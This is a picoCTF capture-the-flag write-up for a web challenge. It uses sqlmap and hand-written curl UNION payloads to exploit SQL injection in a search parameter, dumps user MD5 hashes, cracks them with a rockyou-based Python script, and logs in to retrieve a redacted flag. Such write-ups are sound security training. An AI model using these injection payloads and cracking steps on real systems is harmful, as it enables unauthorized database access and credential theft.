picoCTF - Web Exploitation

Sql Map1

picoCTF SQL Map 1 writeup using sqlmap to automate SQL injection attacks and extract password hashes, then cracking them with MD5 lookup.

Contents

Sql Map1

Challenge Summary

This picoCTF challenge exposed a login portal and hinted very strongly at SQL injection and weak password storage.

Target:

http://lonely-island.picoctf.net:65472/

Important hints:

  • sqlmap -u <URL_for_search> --cookie="PHPSESSID=1111111111111" -p <vulnerable_parameter> --batch --tables
  • Passwords should not be stored in md5 format

The goal was to retrieve the real flag by abusing the vulnerable search feature and then acting as a legitimate user.

Initial Recon

The landing page was a normal login/register screen.

I first fetched the homepage to confirm the app structure and cookie behavior:

curl -i -s http://lonely-island.picoctf.net:65472/

Why this command

  • curl fetches the page directly
  • -i includes response headers
  • -s keeps output clean

What it showed

  • The app used PHP
  • A PHPSESSID cookie was set
  • The login form posted to login.php
  • There was also a register.php

Login With Known Credentials

You provided the valid credentials:

pico : pico

So the next step was to authenticate and load the post-login page.

Login request

curl -i -s -c /tmp/sqlmap1.cookies -b /tmp/sqlmap1.cookies \
  -d 'username=pico&password=pico' \
  http://lonely-island.picoctf.net:65472/login.php

Why this command

  • -c /tmp/sqlmap1.cookies stores the PHP session cookie
  • -b /tmp/sqlmap1.cookies reuses the same cookie jar
  • -d submits POST form fields

Result

The server responded with:

Location: vuln.php

That revealed the authenticated search page.

Follow the redirect and inspect the page

curl -s -c /tmp/sqlmap1.cookies -b /tmp/sqlmap1.cookies \
  -d 'username=pico&password=pico' \
  http://lonely-island.picoctf.net:65472/login.php -L | sed -n '1,220p'

Why this command

  • -L follows redirects automatically
  • sed -n '1,220p' limits output to the useful top portion

What it showed

The page title was:

Vulnerable Flag Search - picoCTF2026

The search form used:

GET /vuln.php?q=<search term>

So the likely injection point was the q parameter.

Baseline Search Behavior

Before attacking the parameter, I checked normal behavior.

curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=test' | sed -n '1,220p'

Result

The app returned:

No flags matched your search.

That gave a clean baseline.

Quick Injection Probe

Then I tested a quote:

curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=%27' | sed -n '1,220p'

Result

The app did not throw a visible SQL error, but the challenge hint already strongly suggested the parameter was injectable. So the next step was to use sqlmap.

Automated Detection With sqlmap

I ran sqlmap against vuln.php?q=test and told it to test the q parameter using the authenticated PHPSESSID.

sqlmap -u 'http://lonely-island.picoctf.net:65472/vuln.php?q=test' \
  --cookie='PHPSESSID=9d4efd36cc8f29e077e76d6a2aa5a171' \
  -p q \
  --batch \
  --tables

Why this command

  • -u sets the exact vulnerable URL
  • --cookie=... preserves the logged-in session
  • -p q tells sqlmap which parameter to test
  • --batch answers prompts automatically
  • --tables asks for table enumeration

What sqlmap found

sqlmap confirmed:

Parameter: q (GET)
Type: boolean-based blind
Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)

and identified the backend as:

SQLite

Why I did not rely entirely on sqlmap

The small server became unstable during time-based probing, and sqlmap failed to enumerate tables cleanly from SQLite metadata. So after confirming the injection, I switched to manual UNION-based extraction.

Manual Column Count Discovery

To use UNION injection, I first determined the number of selected columns.

curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20ORDER%20BY%201--%20-' | sed -n '1,220p'
curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20ORDER%20BY%202--%20-' | sed -n '1,220p'
curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20ORDER%20BY%203--%20-' | sed -n '1,220p'

Why these commands

ORDER BY n helps determine how many columns are in the original query:

  • If n is valid, the query works
  • If n is too large, the database throws an error

Result

ORDER BY 3 caused:

1st ORDER BY term out of range - should be between 1 and 2

So the query had exactly 2 columns.

Confirm UNION Reflection

Next I checked whether UNION results were reflected into the HTML.

curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20UNION%20SELECT%201,2--%20-' | sed -n '1,220p'
curl -s -b /tmp/sqlmap1.cookies \
  'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20UNION%20SELECT%20%27AAA%27,%27BBB%27--%20-' | sed -n '1,220p'

Result

The application rendered:

<li><strong>AAA</strong>: BBB</li>

That meant both UNION-selected columns were printed. This made manual extraction easy.

Dump Database Schema

With reflection working, I queried sqlite_master to list tables and create statements.

curl -s -b /tmp/sqlmap1.cookies \
  "http://lonely-island.picoctf.net:65472/vuln.php?q=test'%20UNION%20SELECT%20name,sql%20FROM%20sqlite_master%20WHERE%20type='table'--%20-" \
  | sed -n '1,260p'

Why this command

In SQLite, sqlite_master stores schema metadata.

Result

The database contained:

  • users
  • flags
  • sqlite_sequence

The useful schemas were:

CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL
)
CREATE TABLE flags (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    key TEXT NOT NULL UNIQUE,
    value TEXT NOT NULL
)

Dump the flags Table

Now I extracted the contents of flags.

curl -s -b /tmp/sqlmap1.cookies \
  "http://lonely-island.picoctf.net:65472/vuln.php?q=test'%20UNION%20SELECT%20key,value%20FROM%20flags--%20-" \
  | sed -n '1,260p'

Result

This returned multiple flag-like values:

ctf-player : picoCTF{<redacted>}
flag1      : picoCTF{<redacted>}
flag2      : picoCTF{<redacted>}
flag3      : picoCTF{<redacted>}
flag4      : picoCTF{<redacted>}
...

These looked like decoys rather than the final answer.

Dump the users Table

The challenge hint also said passwords were stored in MD5 format, so I dumped the users table.

curl -s -b /tmp/sqlmap1.cookies \
  "http://lonely-island.picoctf.net:65472/vuln.php?q=test'%20UNION%20SELECT%20username,password%20FROM%20users--%20-" \
  | sed -n '1,260p'

Result

This returned users and MD5 hashes:

admin      : 5a9a79d9fa477ed163b89088681672c9
ctf-player : 7a67ab5872843b22b5e14511867c4e43
ghost      : 8d2379c40704bed972e55680be2355e2
malicious  : a669d60c31ad3d05b9e453c8576c7aab
noaccess   : 83806b490e28a7f8e6662646cbdbff1a
pico       : d3401cacf87221ecb1fe4f93b8bb90cd
suspicious : eb1f3ba6901c65d9b2e09a38f560758b

At this point, the challenge hint made sense: SQL injection exposed MD5 password hashes, and one of those needed to be cracked.

Crack the MD5 Passwords

I used rockyou.txt.gz and Python to test MD5 hashes without unpacking the wordlist.

python3 - <<'PY'
import gzip, hashlib
hashes={
    'admin':'5a9a79d9fa477ed163b89088681672c9',
    'ctf-player':'7a67ab5872843b22b5e14511867c4e43',
    'ghost':'8d2379c40704bed972e55680be2355e2',
    'malicious':'a669d60c31ad3d05b9e453c8576c7aab',
    'noaccess':'83806b490e28a7f8e6662646cbdbff1a',
    'pico':'d3401cacf87221ecb1fe4f93b8bb90cd',
    'suspicious':'eb1f3ba6901c65d9b2e09a38f560758b',
}
rev={v:k for k,v in hashes.items()}
found={}
with gzip.open('/usr/share/wordlists/rockyou.txt.gz','rt',encoding='latin-1',errors='ignore') as f:
    for line in f:
        pwd=line.rstrip('\n')
        h=hashlib.md5(pwd.encode()).hexdigest()
        if h in rev and rev[h] not in found:
            found[rev[h]]=pwd
            print(rev[h], pwd)
            if len(found)==len(hashes):
                break
print('found', found)
PY

Why this command

  • gzip.open(...) streams the compressed wordlist directly
  • hashlib.md5(...) computes candidate hashes
  • This avoids creating a huge decompressed file

Result

It recovered:

ctf-player dyesebel
pico pico

The important new credential was:

ctf-player : dyesebel

Final Step: Login as the Legitimate User

The challenge statement said to retrieve the secret flag by acting as a legit user. That implied the SQLi output alone was not the final answer, and ctf-player was likely the intended account.

So I logged in as that user:

curl -s -c /tmp/sqlmap1b.cookies -b /tmp/sqlmap1b.cookies \
  -d 'username=ctf-player&password=dyesebel' \
  http://lonely-island.picoctf.net:65472/login.php -L | sed -n '1,260p'

Result

The protected page displayed:

The challenge flag is:
picoCTF{<redacted>}

Flag

picoCTF{<redacted>}

Full Tooling Used

curl

Used for:

  • fetching pages
  • submitting login forms
  • replaying authenticated requests
  • manually testing SQL injection payloads

Why it mattered:

  • fast direct HTTP inspection
  • easy cookie reuse
  • precise GET/POST control

sqlmap

Used for:

  • confirming the parameter was injectable
  • identifying the backend DBMS as SQLite

Why it mattered:

  • quickly validated the challenge hint
  • saved time on injection detection

Why I did not rely on it for everything:

  • SQLite enumeration was unreliable on this small target
  • manual UNION extraction was faster once the injection shape was known

sed

Used to trim HTTP output:

sed -n '1,220p'

Why it mattered:

  • kept responses readable
  • avoided scrolling through unnecessary markup

python3

Used to crack MD5 hashes with rockyou.txt.gz.

Why it mattered:

  • easy hash testing
  • direct streaming of the compressed wordlist
  • enough flexibility to match multiple hashes at once

Why the Attack Worked

The app had two independent weaknesses:

  1. The authenticated search parameter q was SQL injectable.
  2. User passwords were stored in raw MD5, which is weak and crackable.

SQL injection exposed the users and flags tables, but the real final flag required logging in as the legitimate user ctf-player. Cracking the MD5 hash for that account produced the password dyesebel, and that login revealed the actual flag on the protected page.

Takeaway

This challenge was not just “dump the database and stop.” The intended path was:

  1. Login as pico:pico
  2. Find SQL injection in vuln.php?q=...
  3. Dump users and flags
  4. Crack the leaked MD5 hash for ctf-player
  5. Login legitimately as ctf-player
  6. Read the real flag

Final working credential:

ctf-player : dyesebel

Final flag:

picoCTF{<redacted>}